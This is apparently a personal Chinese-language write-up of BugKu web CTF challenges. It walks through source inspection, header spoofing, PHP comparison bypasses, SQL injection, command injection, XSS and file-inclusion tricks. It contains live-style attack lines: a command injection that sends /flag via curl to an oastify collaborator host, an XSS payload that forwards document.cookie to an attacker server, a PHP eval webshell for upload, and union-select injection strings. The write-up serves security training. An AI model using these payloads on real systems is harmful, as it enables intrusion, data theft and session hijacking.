BUGKU--web
滑稽
源代码就有flag
计算器
题目说算对就能拿到flag,但是我发现这里只能输入一个数字,点击验证的话也抓不到包,然后查看源码发现是限制了输入的数字位数,改成3位就再填入答案就能拿到flag了
alert
出现了很多的弹窗,是js语句alert的代码
在源代码底下就有flag,拿去解密就可以拿到了
flag{19760efbde5ba7ec9d7a861a071687eb}
你必须让他停下
这个题打开是一直有跳转
在源码中找到flag is here
我多截了几个图,然后不小心就截到了有flag的
但是我们还是正常做一下哈
用bp抓包,再不断发包,在response里面找带有flag的就可以了
头等舱
什么也没有,我首先猜测的是有源码泄露,我们先看一下页面源代码,发现没什么线索,去扫一下目录
也没有什么可用的信息,然后我们就在network里面看一下响应头信息
居然flag在这。。。
GET
很简单的一个传参,直接get传参传what=flag就可以了
POST
跟上一题是一样的,不过这道题是post传参,我们可以用bp或者用hackbar进行post 的传参
source
flag在源代码中被注释掉了,看起来是base64解码,拿去解码一下发现是假的flag
应该是常规的信息收集,那我们就扫一下目录
看到一个flag.txt,访问一下发现也是假的,然后我们可以看到上面的.git文件,猜测是git信息泄露
wget -r http://url/.git
把git文件扒下来进行分析
先试用命令git reflog
git reflog
是一个 Git 命令,用于查看本地仓库中的引用日志(Reference Logs)。引用日志记录了仓库中的 HEAD 和分支引用的改动历史,可以帮助用户找回丢失的提交或者分支。具体而言,git reflog
命令可以显示最近的 HEAD 和分支引用的变动,包括提交、重置、合并等操作,以及相应的操作哈希值和操作描述。
然后一个个用git show进行查看就能找到真正的flag了
矛盾
这里应该是嵌套的一个if语句吧,因为最后有输出我们传入的num。结合弱比较和is_numeric的作用,直接传入num=1e就能满足判断条件
备份是个好习惯
出现编码,看着像是md5哈希值加密,我们先拿去解码一下看看,这个哈希值恰好是一个全为0的值,意思就是空文件,什么都没有
根据题目,这可能是备份文件泄露
常见的网站源码备份文件后缀名
- .rar
- .zip
- .7z
- .tar.gz
- .bak
- .swp
- .txt
- .html
常见的网站源码备份文件名
- web
- website
- backup
- back
- www
- wwwroot
- temp
我们先用御剑扫一下目录找到了备份文件,下载下来发现是代码审计题
1 |
|
这里的话就是md5绕过验证了,我们可以知道,当变量是数组的时候,他们的md5是相等的,但这里我们还需要注意的是变量名的验证
$str = str_replace('key','',$str);
:这行代码去掉了查询参数中的 “key” 字符串。
所以这里我们用双写进行绕过验证
payload
/?kkeyey1[]=1&kkeyey2[]=2
变量1
1 | error_reporting(0); |
分析一下正则匹配
preg_match(“/^\w+$/“,$args)
这段代码的作用是检查 $args
是否仅由字母、数字或下划线字符组成,且至少包含一个以上的字符
最关键的是最后的$$args,这是可变变量的意思,如$args的值是另一个变量的变量名。那么$$args就代表另一个变量。所以我们就给args赋值一个变量名,那么PHP的九大全局变量,一个一个试。
九大全局变量
- $_POST [用于接收post提交的数据]
- $_GET [用于获取url地址栏的参数数据]
- $_FILES [用于文件就收的处理img 最常见]
- $_COOKIE [用于获取与setCookie()中的name 值]
- $_SESSION [用于存储session的值或获取session中的值]
- $_REQUEST [具有get,post的功能,但比较慢]
- SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都
- $GLOBALS [一个包含了全部变量的全局组合数组]
- $_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]
因为题目提示flag In the variable,所以flag是作为数组变量存储在里面的
所以我们直接使用GLOBALS全局变量显示出所有的数组的键值对
本地管理员
先使用弱口令发现打不通,然后我在源码中看到有被注释掉的base64编码,解码后是test123,猜测是admin的密码
我们抓包提交一下
根据提示,这里需要伪造管理员的ip进行登录,我们添加一下x-forwarded-for: 127.0.0.1
game1
是一个盖楼游戏
在源代码中看到了
这里的话应该就是我们的突破口了,可能是达到多少分才会有flag
然后我们在游戏结束页面进行抓包
sign中的MTc1==是175编码后的,那我们改一下score为9999试一下
看来分数够了,成功拿到flag!
源代码
题目提示我们看源代码,那我们就看一下源代码
var p1 = '...';
和var p2 = '...';
:这里定义了两个变量p1
和p2
,它们的值是经过编码的字符串。这种编码方式看起来类似于 URL 编码,将字符转换为%xx
格式。eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
:这里使用了eval()
函数,它将字符串参数作为 JavaScript 代码进行执行。unescape()
函数用于解码 URL 编码的字符串。这行代码将对p1
和p2
进行解码后拼接起来,然后将其作为 JavaScript 代码进行执行。
然后我拿去解码得到了这些
1 | function checkSubmit(){ |
function checkSubmit() { ... }
: 这是一个名为checkSubmit
的函数,用于验证密码字段的值。函数内部包含以下逻辑:var a = document.getElementById("password");
: 通过document.getElementById()
方法获取 id 为 “password” 的元素,通常表示密码输入框。if ("undefined" != typeof a) { ... }
: 检查是否成功获取到密码输入框元素。if ("67d709b2%654aa2aa648cf6e87a7114f1" == a.value) { return true; }
: 如果密码输入框的值等于指定的字符串(”67d709b2%654aa2aa648cf6e87a7114f1”),则返回true
,表示验证通过。alert("Error");
: 如果密码验证不通过,弹出警告框提示用户出错。a.focus(); return false;
: 将焦点设置回密码输入框,并返回false
,表示验证未通过。
document.getElementById("levelQuest").onsubmit = checkSubmit;
: 这行代码将checkSubmit
函数绑定到 id 为 “levelQuest” 的表单的onsubmit
事件上。这意味着在表单提交之前会执行checkSubmit
函数,用于验证密码字段的值,如果验证通过,则表单提交成功,否则会提示错误信息并保持在当前页面。
所以我们要让我们输入的值是67d709b2b54aa2aa648cf6e87a7114f1,输入后就能拿到flag了
网站被黑
题目提示:网站被黑了 黑客会不会留下后门
既然是网站被黑了,那黑客必然会留下什么shell之类的恶意代码,那我们扫一下目录
访问一下shell.php
试了一下弱口令发现都不得行,那就只能爆破了
额我们试一下bp自带的password字典
居然真的有
bp
提示了弱密码top1000?z?????,让我们找出密码
账号是admin默认,看样子是需要我们进行爆破,字典应该是top1000,
结果发现没打出来,我看了一下response请求包的内容,发现了这段js代码
1 | var r = {code: 'bugku10000'} |
后来看了其他大佬的解释:
若r值为{code: ‘bugku10000’},则会返回错误
{通过这一句“window.location.href = ‘success.php?code=’+r.code;”,可以判断网页将跳转到以code作为参数的success.php页面。其中code的值来自于var r = {code: ‘bugku10000’}。
至此,可以考虑用burp进行爆破。但通过第一次爆破过程中所以返回页面长度一致,可以判断code值的长度与’bugku10000’相同,也是10。考虑到对于10个字符长度进行爆破需要的时间太长,因此现在以code为参数爆破是不可行的。
因为code是success.php页面的参数,因此在登录页面当使用正确密码时,code的值(r.code)应该与’bugku10000’不同,进而r的值也与{code: ‘bugku10000’}不同。
也就是说,如果我们输入正确的密码,返回页面的r将不是{code: ‘bugku10000’}。
因此可以在burp的intruder爆破模块中,使用{code: ‘bugku10000’}对返回包内容进行筛选。找到返回包不含有{code: ‘bugku10000’}的,就可能是使用正确的密码。}
爆破后找到了这个密码的回显包中没有{code: ‘bugku10000’},猜测可能是我们想要的密码,直接输入就能拿到flag了
好像需要密码
又是一个密码界面,直接上爆破吧,因为是纯数字,所以我们设置纯数字的字典进行爆破就可以了
这道题我看到需要爆破的量很多,我就去搜索怎么添加线程。结果忙来忙去浪费了很多时间,不如让他挂着爆破,最后还是拿到flag了
shell
打开是一个空白页面,不过在题目提示中有代码
1 |
|
- 首先,定义了一个变量
$poc
,其值为字符串 “a#s#s#e#r#t” - 接着,使用
explode
函数将字符串$poc
按照 “#” 分割成数组$poc_1
,所以$poc_1
的值为["a", "s", "s", "e", "r", "t"]
。 - 然后,从数组
$poc_1
中取出各个元素并拼接成一个字符串$poc_2
,这里实际上是将函数名assert
重新组合成字符串。 - 最后,通过
$poc_2
这个字符串作为函数名,执行用户传入的GET参数's'
的内容。
那我们了解一下assert函数
assert
函数是PHP中的一个调试函数,通常用于在代码中验证某个条件是否为真
这里我猜测是我们需要传入的参数s是一个命令,然后assert会将这个命令解析执行
我们可以测试一下
发现是可以正常执行的,那我们就用我们熟悉的ls和cat就可以拿到flag了
eval
1 |
|
直接对hello传入system命令就行了
需要管理员
查看源码和页面都没发现什么有用的信息,我们试着用御剑扫一下目录
网站robots协议
robots是搜索引擎爬虫协议,也就是你网站和爬虫的协议。
简单的理解:robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。
主流的搜索引擎都会遵守robots协议。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后,会读取上面的协议,并准守协议爬取网站,收录网站。
robots文件是一个纯文本文件,也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。因此,robots的优化会直接影响到搜索引擎对网站的收录情况。
存放目录:robots文件必须要存放在网站的根目录下。也就是 域名/robots.txt 是可以访问文件的。你们也可以尝试访问别人网站的robots文件。 输入域名/robots.txt 即可访问。
robots写法
User0agent:*
Disallow: /?s*
Disallow: /wp-*
user-agent这句代码表示那个搜索引擎准守协议。user-agent后面为搜索机器人名称,如果是“*”号,则泛指所有的搜索引擎机器人;案例中显示“User-agent: ” 表示所有搜索引擎准守,号表示所有。
Disallow是禁止爬取的意思。Disallow后面是不允许访问文件目录(你可以理解为路径中包含改字符、都不会爬取)。案例中显示“Disallow: /?s*” 表示路径中带有“/?s”的路径都不能爬取。 *代表匹配所有。 这里需要主机。 Disallow空格一个,/必须为开头。
如果“Disallow: /” 因为所有路径都包含/ ,所以这表示禁止爬取网站所有内容。
程序员本地网站
#伪造X-Forwarded-For头进行内网伪装
看到这个第一时间想到的就是修改请求头进行内网伪装
X-Forwarded-For 用来说明从哪里来的,一般用来内网伪装 X-Forwarded-For: 127.0.0.1
在请求包中添加X-Forwarded-For: 127.0.0.1
直接就拿到flag了
你从哪里来
这个一看就是需要修改请求头了
Referer 先前网页的地址,当前请求网页紧随其后,即来路 Referer: www.baidu.com
需要先前网页是谷歌的地址
前女友
#绕过md5和strcmp()验证
在源代码中找到了code.txt
我们点进去看一下
strcmp()
是一个 PHP 函数,用于比较两个字符串。它的用法如下:
1 | php复制int strcmp ( string $str1 , string $str2 ) |
- 如果
str1
小于str2
,那么strcmp()
返回一个小于 0 的整数。 - 如果
str1
大于str2
,那么strcmp()
返回一个大于 0 的整数。 - 如果
str1
等于str2
,那么strcmp()
返回 0。
strcmp函数无法比较数组,对象,会返回0
md5可以用数组绕过,也可以用碰撞
MD5
那我们传入a=1试试
提示错误,题目提示是md5碰撞,根据 PHP 弱类型比较的特点,所以如果两个不同的密码经过哈希以后,其哈希值都是以 0E
开头的,那么 PHP 将会认为他们相同,这就是所谓的 MD5 碰撞漏洞。
所以我们选一个常见的md5碰撞值就可以了
1 | 大写字母类: |
各种绕过哟
1 |
|
关注判断条件
只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等
sha1()函数无法处理数组类型,会将报错并返回false
GET:id=margin&&uname[]=1
POST:passwd[]=2
秋名山车神
多刷新几次会有出现
说明我们要post提交参数value
直接用脚本吧(抄的baozongwi 的)
1 | import requests#用于发送 HTTP 请求。 |
速度要快
刷新并没有发现什么,直接抓包
发现response中有flag,base64解密得到
还有一层加密
这个数是什么呢,根据注释里面的内容,猜测我们需要post传入一个参数margin
修改一下请求包为post,传入margin=597691
有变化,继续分析,然后我发现是重复的,没办法,只能写脚本了
1 | import requests |
file_get_contents
1 |
|
考查的是file_get_contents()函数,不会的自行百度哈
大致意思就是要上传 ac和fn两个参数
且ac的值等于fn文件内容的值,但是这里的话是没法满足判断句的,那我们试着绕过一下这个判断句
file_get_contents()绕过我们用伪协议进行绕过
payload:
为什么这样做呢?
**php://input
**作用:执行POST数据中的php代码
用**php://input
**绕过file_get_contents()
1.将要GET的参数?xxx=php://input
2.用post方法传入想要file_get_contents()
函数返回的值
成绩查询
用1和1’测试闭合方式,发现是单引号闭合
用order by测试回显字段数发现字段数是4
用union select查看回显位置
-1’ union select 1,2,3,4#
既然没有过滤那就用联合查询进行注入
1 | 查询数据库名 |
no select
猜测是开始有过滤了,而且过滤的还是select
我试了一下万能密码发现能打通
1’ or 1=1#
login2
测试之后发现都是登录失败,抓包看看有没有什么线索
发现一个tip很显眼啊,拿去解码一下
1 | $sql="SELECT username,password FROM admin WHERE username='".$username."'"; |
这里的话是需要让row中password的md5值等于password,但是这里的话我们是不知道里面有哪些用户和密码的,这时候有个思路就是
通过输入不存在的用户构造新的用户和密码去进行登录
1 | username=admin' union select 1,'md5(123)'#&password=123 |
这里可以看到一个index.php,我们访问一下
这里我一开始也很懵,一点提示也没得,后面看了粽子师傅的wp才知道这个是无回显的延时注入
1;curl -X POST -F xx=@/flag http://yacgwxvhy7jd2crte67tuxg8lzrqfg35.oastify.com
这里换成bp里面服务器collarborator的地址,然后进行poll now就行了
或者也可以直接写文件
payload:123 | cat /flag >1.php
查看 flag文件并输出到1.php里边
1.php可以在网站子目录查看内容拿到flag
sql注入
基于布尔的sql盲注
先fuzz一下,当我输入admin的话显示的是password错误
留言板
输入正常的xss语句看看效果
<script>alert(‘xss’)</script>
发现括号被转化成|
扫目录发现了两个文件
/admin.php
/db.sql
admin.php是一个登录界面,但是这个db.sql访问是404,不知道是环境问题还是什么,所以只好从大佬的wp上摘下来了
1 | # Host: localhost (Version: 5.5.53) |
底下的话就是登录的账号密码,
登录后看到了我刚刚传入的(括号,那我们返回去注入一下xss语句
<script>alert(1)</script>
登录后可以看到有弹窗
那我们看一下admin的cookie中有没有flag
1 | <script>alert(document.cookie)</script> |
刚好admin的cookie里面就有flag,把前后的编码换成花括号就行了
留言板1
<script>document.location.href=”http://[ip]/xss.php?cookie=”+document.cookie
发现script,http被过滤,还有长度限制
不过好像我的服务器接收不到数据,也不知道为啥,应该是平台的环境问题
文件包含
看到那个click就点了,第一眼感觉像是任意文件读取,但是单单的file=index.php是没办法获取源代码的,我们需要用伪协议去读取源代码
1 | 获取源码代码 |
页面回显了base64编码
解码后得到
1 | <html> |
不过我发现直接读flag也是可以读到了,?file=/flag直接就能拿到flag了
cookie
题目提示是cookie欺骗,直接看cookie发现了一个fla,拿去提交发现是假的flag
在url中有a2V5cy50eHQ=,拿去解码发现是一个keys.txt,我们访问一下发现和刚刚的页面内容是一样的,猜测是这个网页访问了一个文本文档,然后我就试着访问一下flag.txt和flag.php发现什么都没有,我就猜测了一下index.php
修改了line发现有不同的内容,后面访问了n个line后才拿到完整的源码
1 | error_reporting(0); |
看到源码就好做了,设置cookie里面的margin等于margin然后访问keys.php
never_give_up
在源码中发现了1p.html,但是访问了会跳转到bugku的官方,那我们抓包拦截一下
发现了很多被注释掉的语句,这是多层解码
第一层
第二层
第三层
最后得到
1 | ";if(!$_GET['id']) |
条件
- 变量 $id 弱等于整型数 0
- 变量 $b 的长度大于 5
- 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
- 变量 $b 的第一个字符弱不等于整型数 4
- 变量 $data 弱等于字符串 bugku is a nice plateform!
reg()
函数或 eregi()
函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
绕过file_get_contents()函数用前面的方法就行,所以我们用伪协议去做
文件包含2
和前面的一样,有?file=的格式,在源码中发现了upload.php,访问发现是一个上传文件的页面
经过测试发现这里对content头和后缀名进行了验证,然后也过滤了<?php 和?>,这样的话我们就只能换成phtml的马去做了
1 | <script language="php">eval($_REQUEST[cmd])</script> |
上传后修改文件后缀和content-type头